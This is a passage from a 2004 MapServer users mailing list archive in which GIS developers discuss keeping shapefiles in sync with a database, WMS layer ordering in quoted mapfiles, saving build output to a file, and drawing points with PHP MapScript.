the text file and create the Events Layer to display the georeferenced
features.
 
Now I'm starting to develop intranet application to manage the data with ASP
pages, and represented the data with MapServer.
Just for the sample, I've create the static shape file of the DB entity
using ArcView.
Using MAP mode for MapServer in  tag I can show the correct map and
point in the right position.
For the background I'm using TIFF raster layers.
 
NOW, when the application change the entity coordinate via ASP page, but now
the DB and the shape file ARE NOT linked and the shape file report the old
position of the entity.
 
 
This will be a distributed application an the remote user must be-able to
change the entity coordinate and see the new position immediately.
 
Q.:
How can I update the shape file on-the-fly without use manually ArcView to
regenerate the correct shape file?
 
 

Dott. Davide Prati 
A.R.P.A. della Lombardia 
Dipartimento di Varese 
Via Campigli, 5 
21100 - VARESE 
Tel. 0332-327705 
Fax 0332-313161 

 

------_=_NextPart_001_01C3D9E2.72AA1010
Content-Type: text/html;
	charset="iso-8859-1"









Hi,


my application using 
MS SQL-Server as DBMS for the data.


In a table 
'tbl_Plants' I'm storing the XY coordinate of my entity that are Radio/TV 
emitter (points).


 


Usually my local 
application export the data in .txt file and ArcView import the text file and 
create the Events Layer to display the georeferenced 
features.


 


Now I'm starting 
to develop intranet application to manage the data with ASP pages, and 
represented the data with MapServer.


Just for the 
sample, I've create the static shape file of the DB entity using 
ArcView.


Using MAP mode for 
MapServer in <img... > tag I can show the correct map and point in 
the right position.


For the background 
I'm using TIFF raster layers.


 


NOW, when the 
application change the entity coordinate via ASP page, but now the DB and the 
shape file ARE NOT linked and the shape file report the old position of the 
entity.


 


 


This will be a 
distributed application an the remote user must be-able to change the entity 
coordinate and see the new position immediately.


 


Q.:


How can I update the 
shape file on-the-fly without use manually ArcView to regenerate the 
correct shape file?


 


 


Dott. Davide Prati 
A.R.P.A. della Lombardia 
Dipartimento di Varese 
Via Campigli, 5 
21100 - VARESE 
Tel. 0332-327705 
Fax 
0332-313161 


 


------_=_NextPart_001_01C3D9E2.72AA1010--


From nicolas.fortin at ec.gc.ca  Tue Jan 13 06:46:20 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Tue, 13 Jan 2004 09:46:20 -0500
Subject: [Mapserver-users] WMS LAYERS=
Message-ID: 

Hi Normand, thx for your answer!
No, you don't have access to it cause it's only intranet for the moment...

This afternoon, I'll try to place the layers like Heryk said to see if it
works.

Here's my wms request:
http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VERSION=1
.1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000

And my mapfile:
# ---------------------------------------------------------------------
# Mapserver 4.0 for Oracle
# Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
# MapFile Test pour la CMI V1.4
# ---------------------------------------------------------------------

NAME IJC4
EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
SIZE 425 425
SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym' 

# Projection LCC de la CMI 
PROJECTION
  "proj=lcc"
  "ellps=GRS80"
  "lat_0=63"
  "lon_0=-91.8666"
  "lat_1=49"
  "lat_2=77"
  "x_0=6200000"
  "y_0=2958000"
  "datum=NAD83"
  "units=m"
END

WEB
  TEMPLATE defaultcmitest1.html
  HEADER header.html
  FOOTER footer.html
  IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
  IMAGEURL "/tmp/"
  METADATA
    wms_title "WMS Quebec Node for IJC test2"
    wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
    wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
    wms_contactperson "Nicolas Fortin"
    wms_contactorganization "Environnement Canada, SMC-Hydrologie"
    wms_contactposition "Programmeur, Analyste de donn?es num?riques"
    wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
  END
END

LEGEND
  STATUS ON
  LABEL
     COLOR 0 0 0
     SHADOWCOLOR 218 218 218
     SHADOWSIZE 2 2
     TYPE BITMAP
     SIZE MEDIUM
     POSITION CC
     PARTIALS FALSE
     BUFFER 2
  END
END

REFERENCE
  STATUS ON
  IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
  SIZE 150 150
  EXTENT 7549910 1161398 7689518 1363371
  COLOR -1 -1 -1
  OUTLINECOLOR 255 0 0
END

LAYER
  NAME "2"
  TYPE POLYGON
  CONNECTIONTYPE oraclespatial
  CONNECTION "user/****@quebijc"
  DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
  STATUS OFF
  DUMP TRUE
  
  METADATA
    wms_title "Quebec Watersheds"
    wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
  END

  PROJECTION
    "proj=lcc"
    "ellps=GRS80"
    "lat_0=63"
    "lon_0=-91.8666"
    "lat_1=49"
    "lat_2=77"
    "x_0=6200000"
    "y_0=2958000"
    "datum=NAD83"
    "units=m"
  END
  
  CLASS
    NAME "Watershed"
    SYMBOL 'CIRCLE'
    SIZE 2
    COLOR 255 255 255
    OUTLINECOLOR 0 204 0
  END
END

LAYER
  NAME "1"
  TYPE LINE
  CONNECTIONTYPE oraclespatial
  CONNECTION "user/****@quebijc"
  DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
  STATUS DEFAULT
  GROUP "Shoreline"
  DUMP TRUE
  
  METADATA
    wms_title "St. Lawrence River Detailed Shoreline"
    wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
    wms_group_title "Shoreline"
  END
  
  PROJECTION
    "proj=lcc"
    "ellps=GRS80"
    "lat_0=63"
    "lon_0=-91.8666"
    "lat_1=49"
    "lat_2=77"
    "x_0=6200000"
    "y_0=2958000"
    "datum=NAD83"
    "units=m"
  END
  
  CLASS
    NAME "Detailed Shoreline"
    COLOR 0 51 255
    SYMBOL 'CIRCLE'
    SIZE 1
  END
END # Shoreline

END


-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca] 
Envoy? : Monday, January 12, 2004 5:05 PM
? : nicolas.fortin at ec.gc.ca
Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu
Objet : Re: RE : [Mapserver-users] WMS LAYERS=


Hi,

I tried to replicate this problem without success by using our WMS 
server used during the OGC compliance tests.   I also used the OGC test 
suite requests.  I joined both the map file and the requests sent (see 
below).  Theses requests contain three layers.  In the first request, 
the "Forest" layer is drawn first.  In the second request, the "Forest" 
layer is drawn last.  You can also see that I modified the mapfile to 
set the "Forest" layer status to "DEFAULT".   It does not seem to affect 
the drawing order.  But maybe I'm missing something.  Do we have access 
your WMS server?  It is possible to have a copy of your mapfile and the 
request you are currently sending?

Norm



The requests used are.


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 



Our map file is as follow:

#
# Start of map file
#
# $Id: ogc_cite_wms_server.map,Exp $
#
NAME OGC_CITE
STATUS ON
SIZE 600 400
## EPSG:4326 extents
EXTENT -2 -2 -1 6
#EXTENT -0.0042 -0.0024 0.0042 0.0024

UNITS METERS
SHAPEPATH "../data/shapefile"
IMAGECOLOR 255 255 255
FONTSET ../etc/fonts.txt
SYMBOLSET ../etc/symbols.sym

#
# Start of web interface definition
#
WEB
# On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root #
of the drive where the .MAP file resides. #
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"
#  LOG "/tmp/gmap.log"
  METADATA
    "WMS_TITLE"         "cite:OGC_CITE WMS Server"
    "WMS_ONLINERESOURCE" 
"http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
    "WMS_SRS"           "EPSG:4326"
    "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
    "WMS_ACCESSCONTRAINTS" "none"
    "WMS_FEES"              "none"

  END
END

PROJECTION
  "init=epsg:4326"
END

QUERYMAP
  SIZE 200 200
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

#
# Start of layer definitions
#

LAYER
  NAME BasicPolygons
  TYPE POLYGON
  STATUS OFF
  DATA BasicPolygons
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "basicpolygons.html"
  CLASS
    NAME "BasicPolygons"
    COLOR 194 194 194
  END
  METADATA
    "WMS_TITLE" "cite:BasicPolygons"
    "WMS_ABSTRACT" "BasicPolygons layer."
#    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes
  TYPE LINE
  STATUS ON
  DATA DividedRoutes
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "DividedRoutes"
    COLOR 0 0 0
    OUTLINECOLOR 0 0 0
    SYMBOL 'circle'
    SIZE 6
  END
  METADATA
    "WMS_TITLE" "cite:DividedRoutes"
    "WMS_ABSTRACT" "DividedRoutes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes_anno
  STATUS ON
  DATA DividedRoutes
  TYPE ANNOTATION
  LABELITEM "NAME"
  CLASS
    NAME "DividedRoutesAnnotations"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 40
    OVERLAYSYMBOL "route75"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "DividedRoutes"
    "WMS_ABSTRACT" "Divided routes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME MapNeatline
  TYPE LINE
  STATUS ON
  DATA MapNeatline
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "MapNeatline"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 3
  END
  METADATA
    "WMS_TITLE" "cite:MapNeatline"
    "WMS_ABSTRACT" "MapNeatline layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME NamedPlaces
  TYPE POLYGON
  STATUS ON
  DATA NamedPlaces
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  TEMPLATE "namedplaces.html"
  CLASS
    NAME "Ashton"
    EXPRESSION "Ashton"
    #COLOR 153 153 153
    COLOR 192 192 192
    OUTLINECOLOR 0 0 0
    SIZE 8
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 192 192 192
      FONT fritqat
      TYPE truetype
      SIZE 10
      POSITION LR
      OFFSET 10 10
      PARTIALS FALSE
    END
  END
  CLASS
    NAME "Goose Island"
    EXPRESSION "Goose Island"
    COLOR 255 255 255
    SIZE 8
    TEXT "Goose | Island"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 4
      POSITION CC
      PARTIALS FALSE
      WRAP "|"
    END
  END
  METADATA
    "WMS_TITLE" "cite:NamedPlaces"
    "WMS_ABSTRACT" "NamedPlaces layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Ponds
  TYPE POLYGON
  STATUS ON
  DATA Ponds
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "ponds.html"
  CLASS
    NAME "Ponds"
    COLOR 0 255 255
    OUTLINECOLOR 0 0 0
    TEXT "Stock Pond"
    LABEL
      COLOR  0 0 0
      FONT fritqat
      TYPE truetype
      SIZE 9
      #POSITION AUTO
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 23
    END
  END
  METADATA
    "WMS_TITLE" "cite:Ponds"
    "WMS_ABSTRACT" "Ponds layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments
  TYPE LINE
  STATUS ON
  DATA RoadSegments
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  CLASS
    NAME "MainStreet"
    EXPRESSION "Main Street"
    SYMBOL 'circle'
    SIZE 3
    COLOR 238 0 0
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 2
    END
  END
  CLASS
    NAME "Route5"
    EXPRESSION "Route 5"
    SYMBOL 'circle'
    SIZE 3
    COLOR 0 0 0
  END
  CLASS
    NAME "Route75"
    EXPRESSION "Dirt Road by Green Forest"
    SYMBOL 'circle'
    SIZE 5
    #COLOR 255 255 0
    COLOR 192 160 0
    TEXT "Dirt Road"
    LABEL
      ANGLE 90
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      #OUTLINECOLOR 255 255 255
      OFFSET 0 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments_anno
  STATUS ON
  DATA RoadSegments
  TYPE ANNOTATION
  CLASSITEM "FID"
  LABELITEM "NAME"
  CLASS
    NAME "Route5NorthEastAnnotations"
    EXPRESSION "104"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  CLASS
    NAME "Route5WestAnnotations"
    EXPRESSION "102"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END #Layer

LAYER
  NAME Streams
  TYPE LINE
  STATUS ON
  DATA Streams
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Streams"
    COLOR 0 0 205
    OUTLINECOLOR 199 199 199
    SYMBOL 'circle'
    SIZE 2
    LABEL
      ANGLE AUTO
      COLOR  0 0 205
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 30 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:Streams"
    "WMS_ABSTRACT" "Streams layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Forests
  TYPE POLYGON
#  STATUS ON
  STATUS DEFAULT
  DATA Forests
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "forests.html"
  CLASS
    NAME "Forests"
    COLOR 0 150 0
    OUTLINECOLOR 0 0 0
    MINSIZE 4
    #SYMBOL "sapin"
    SYMBOL "tree-gif"
    SIZE 90
#    OVERLAYSYMBOL "square"
#    OVERLAYSIZE 50
#    OVERLAYCOLOR -1 -1 -1
    TEXT "State | Forest"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 18
      POSITION AUTO
      PARTIALS FALSE
      WRAP "|"
      OFFSET 100 -60
    END
  END
  METADATA
    "WMS_TITLE" "cite:Forests"
    "WMS_ABSTRACT" "Forests layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Bridges
  TYPE POINT
  STATUS ON
  DATA Bridges
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Bridges"
    COLOR 0 0 0
    SYMBOL 'bridge'
    SIZE 40
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      OFFSET 20 -8
    END
  END
  METADATA
    "WMS_TITLE" "cite:Bridges"
    "WMS_ABSTRACT" "Bridges layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Lakes
  TYPE POLYGON
  STATUS ON
  DATA Lakes
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "lakes.html"
  CLASS
    NAME "Lakes"
    COLOR 0 0 205
    SIZE 8
    TEXT "BLUE | LAKE"
    LABEL
      ANGLE AUTO
      COLOR  255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 9
      POSITION LL
      PARTIALS FALSE
      WRAP "|"
      OFFSET 15 -10
      FORCE true
    END
  END
  METADATA
    "WMS_TITLE" "cite:Lakes"
    "WMS_ABSTRACT" "Lakes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Buildings
  TYPE POLYGON
  STATUS ON
  DATA Buildings
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "buildings.html"
  CLASS
    NAME "Buildings"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
  END
  METADATA
    "WMS_TITLE" "cite:Buildings"
    "WMS_ABSTRACT" "Buildings layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
LAYER
  NAME BuildingCenters
  TYPE POINT
  STATUS ON
  DATA BuildingCenters
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "BuildingCenters"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 4
  END
  METADATA
    "WMS_TITLE" "cite:BuildingCenters"
    "WMS_ABSTRACT" "BuildingCenters layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
END # Map File  


nicolas.fortin at ec.gc.ca wrote:

>Hi Heryk,
>
>Only the layer 1 is set to default, all other are set to OFF.  I 
>thought that doesn't matter in WMS cause you only got the layers you 
>are querying.
>
>I set layer 1 to ON and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>I set layer 1 to OFF (like the others) and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>Weird...
>Nick
>
>-----Message d'origine-----
>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>Envoy? : Monday, January 12, 2004 4:00 PM
>? : 'nicolas.fortin at ec.gc.ca'
>Objet : RE: [Mapserver-users] WMS LAYERS=
>
>
>Hi,
>Are your layers set to "default" in the mapfile? Is so, you will be 
>calling layers 1,2 and all the layers that are set to default! So your 
>might be calling layers 1 and 2 a second time around! Try setting them 
>to "ON".
>
>Bonne chance!
>H?ryk
>
>
>-----Message d'origine-----
>De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? : 
>Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu 
>Objet
>: [Mapserver-users] WMS LAYERS=
>
>
>Hi list,
>
>When I make a WMS request with the layers parameters like LAYERS=2,1
>
>In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top 
>of layer 2 but it isn't the case...why??
>
>Even if I change to LAYERS=1,2 ... no change
>
>In the mapfile, layer 1 is at the end of the file and is always the top 
>layer on others applications using this mapfile.
>
>
>Thx for your help,
>
>Nicolas Fortin
>Math?maticien, Programmeur, Analyste de donn?es 
>SMC-Qu?bec Hydrologie, Environnement Canada 
>1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
>(418)648-2516 
>nicolas.fortin at ec.gc.ca  
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From lfilak at medinaco.org  Tue Jan 13 06:58:21 2004
From: lfilak at medinaco.org (Lowell Filak)
Date: Tue, 13 Jan 2004 09:58:21 -0500
Subject: [Mapserver-users] debugging "configure" and "make" processes
Message-ID: <20040113145817.263031A659E@mail.medinaco.org>

Will "> debug.text 2>&1" do the trick?

Lowell

The following message was sent by "Eduardo Patto Kanegae"
 on Tue, 13 Jan 2004 11:18:55 -0200.

> hi,
> 
> Is there a way to save( to a TEXT file per example) the screen output
results to a file, for debbugging purposes.
> 
> thanks
> 
> Eduardo Patto Kanegae
> +Homepage:http://www.consultoria.eti.br   ( BRASIL )
> +Perfil:http://www.consultoria.eti.br/ptbr/epk.php
> *F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ -
"Discuss?es relacionadas ao MapServer"
> *ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do
Brasil com dados censit?rios"
> ***************************************
> ***Fim da Mensagem / End of Message ***
> ***************************************
> 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From lfilak at medinaco.org  Tue Jan 13 07:09:18 2004
From: lfilak at medinaco.org (Lowell Filak)
Date: Tue, 13 Jan 2004 10:09:18 -0500
Subject: [Mapserver-users] HELP PLEASE URGENT!!, draw point in map
Message-ID: <20040113150913.488E21A659E@mail.medinaco.org>

I'm not positive on the syntax but I don't think the second $map->draw
is required because the point data is not actually bound as a data
source to the reddot layer and by doing the $map->draw after drawing the
point it is actually overrendering(word?) what $testpt->draw constructs.
Hopefully the syntax in:
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex2
can be useful.

HTH

Lowell

The following message was sent by =?iso-8859-1?q?Ezequiel=20Bertone?=
 on Mon, 12 Jan 2004 19:43:59 -0300 (ART).

> Hello
> 
> I need draw a point in the map in coordinates XY. 
> The problem is that only draw the map without the
> point. Where is the problem?
> The coordinates XY is correct?
> 
> Thank you for you help.
> 
> I have the following map file an php file.
> ---- Php file
>  dl('php_mapscript.so');
> $map_path="/var/www/html/";
> $map=ms_newMapObj($map_path. "easu4.map");
> 
> $testlayer = $map->getLayerByName("reddot");
>       $testlayer->set("status", 1);
> $testpt = ms_newPointObj();
> $testpt->setXY(431,7195);
> 
>  $image=$map->draw();
>       $testpt->draw($map, $testlayer, $image, 0, " ");
> $image=$map->draw();
> $image_url=$image->saveWebImage(MS_PNG,1,1,0);
> ?>
> 
> 
> 
> Esto es una prueba de Mapas 
> 
> 
> > 
> 
> 
> 
> 
> -- Map file
> MAP
>   IMAGETYPE      JPEG
>   EXTENT         430.0622899324  7194.39117490898 449.
>  418992570303 7210.068359375
>   SIZE          1200 1200
>   SHAPEPATH      "data"
>   IMAGECOLOR     255 255 255
> 
>   PROJECTION
>     "proj=utm"
>     "ellps=clrk66"        
>     "datum=WGS84"
>   END
> 
>   # Start of LAYER DEFINITIONS
> ---------------------------------------------
> 
> SYMBOL
>    NAME "circle"
>    TYPE ellipse
>    FILLED true
>    POINTS
>      1 1 1
>    END
> END
> 
> LAYER
>    NAME "reddot"
>    TYPE POINT
>    STATUS off
>    CLASS
>      Name "reddot2"
>      COLOR 255 0 0
>      SYMBOL "circle"
>      SIZE 40
>    END  # CLASS
> END  # LAYER
> 
> LAYER # States polygon layer begins here
>     NAME         au01
>     DATA         asu01
>     STATUS       DEFAULT
>     TYPE         LINE
>     CLASS
>       COLOR        0 0 0
>       OUTLINECOLOR 32 32 32
>     END
> END # States polygon layer ends here
> 
> END # end of map file/object
> 
> ------------
> Los mejores usados y las m?s tentadoras 
> ofertas de 0km est?n en Yahoo! Autos.
> Compr? o vend? tu auto en
> http://autos.yahoo.com.ar
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From mmontoya at guadalajara.gob.mx  Tue Jan 13 08:21:25 2004
From: mmontoya at guadalajara.gob.mx (=?iso-8859-1?Q?Montoya_Mart=EDn_del_Campo_Miguel_Angel?=)
Date: Tue, 13 Jan 2004 10:21:25 -0600
Subject: [Mapserver-users] Apahce with Windows 98
Message-ID: 

I am learning MapObjects. All the demos work ok, except those with dynamic
maps. I have a pc with Apache and Windows 98. The result maps are generated
in the machine that works like server, but they are not sent back to the
client machines in my intranet. 
Is there something that i am missing respect Apache?
Thak you very much for your help.

Miguel Angel


From hjulien at nrcan.gc.ca  Tue Jan 13 07:26:12 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Tue, 13 Jan 2004 10:26:12 -0500
Subject: [Mapserver-users] WMS LAYERS=
Message-ID: <06B403677C41D51194550002A55107D201F78FA2@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi Norm and Nick,

I made the following observations when calling Mapserver WMS services. This
may be useful for other MS WMS users.

When I call my Mapserver (4.01) WMS service directly through a standard WMS
URL everything is okay. However I get weird layering and "status" problems
in the following 2 situations.

Context: I have a Mapserver WMS service (parent service) calling another
Mapserver WMS service (child service). In other words my mapfile (parent
mapfile) has layers calling another Mapserver WMS service (child mapfile).
The parent mapfile is calling each WMS layers individually from the same
service so that I may insert other layers in between them.

Child service:
http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver/mapserv.exe?map=d:\webcgcq\GAS
L_clf\mapserver\mapfiles\transect1.map&VERSION=1.1.0&REQUEST=GetMap&LAYERS=T
ransect1poly,Geochron,Transect1line,Transect1-coupe&SRS=EPSG:26918&BBOX=6056
52.980,5009993.392,864417.475,5050179.283&width=400&height=400&format=image/
png&

1. If a WMS layer in my parent mapfile is set to default: I get the
following error:
Content-type: image/png ?PNG _
IHDR_?_?___?f?h?PLTE????oeY?_l?yZ??(tm)k`u?_zt????????f-???^?Sf'?1????W"???
????p??$??j`^]i81XRfy?Q?4?>?}????*?s$??__U4aX?{_????_????? ?'Kqpo???C
1?w?q!\?+_????(_*???????????fp?_ ...

	Still looking for a solution! Maybe someone can correct me on this
but I think you can't set a wms layer to default in a client mapfile (parent
mapfile)?

2. If I set some wms layers to default in the child mapfile, the layering
order is not respected. Indeed since wms layers are call separately from the
same service the default layer is repeated every time. Took me some time to
recognize this! My solution: don't have default layers in a WMS services. Ah
ha!


Hope this can help someone!

Salutations
H?ryk


-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca]
Envoy? : Monday, January 12, 2004 5:05 PM
? : nicolas.fortin at ec.gc.ca
Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu
Objet : Re: RE : [Mapserver-users] WMS LAYERS=


Hi,

I tried to replicate this problem without success by using our WMS 
server used during the OGC compliance tests.   I also used the OGC test 
suite requests.  I joined both the map file and the requests sent (see 
below).  Theses requests contain three layers.  In the first request, 
the "Forest" layer is drawn first.  In the second request, the "Forest" 
layer is drawn last.  You can also see that I modified the mapfile to 
set the "Forest" layer status to "DEFAULT".   It does not seem to affect 
the drawing order.  But maybe I'm missing something.  Do we have access 
your WMS server?  It is possible to have a copy of your mapfile and the 
request you are currently sending?

Norm



The requests used are.


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 



Our map file is as follow:

#
# Start of map file
#
# $Id: ogc_cite_wms_server.map,Exp $
#
NAME OGC_CITE
STATUS ON
SIZE 600 400
## EPSG:4326 extents
EXTENT -2 -2 -1 6
#EXTENT -0.0042 -0.0024 0.0042 0.0024

UNITS METERS
SHAPEPATH "../data/shapefile"
IMAGECOLOR 255 255 255
FONTSET ../etc/fonts.txt
SYMBOLSET ../etc/symbols.sym

#
# Start of web interface definition
#
WEB
# On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root
# of the drive where the .MAP file resides.
#
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"
#  LOG "/tmp/gmap.log"
  METADATA
    "WMS_TITLE"         "cite:OGC_CITE WMS Server"
    "WMS_ONLINERESOURCE" 
"http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
    "WMS_SRS"           "EPSG:4326"
    "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
    "WMS_ACCESSCONTRAINTS" "none"
    "WMS_FEES"              "none"

  END
END

PROJECTION
  "init=epsg:4326"
END

QUERYMAP
  SIZE 200 200
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

#
# Start of layer definitions
#

LAYER
  NAME BasicPolygons
  TYPE POLYGON
  STATUS OFF
  DATA BasicPolygons
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "basicpolygons.html"
  CLASS
    NAME "BasicPolygons"
    COLOR 194 194 194
  END
  METADATA
    "WMS_TITLE" "cite:BasicPolygons"
    "WMS_ABSTRACT" "BasicPolygons layer."
#    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes
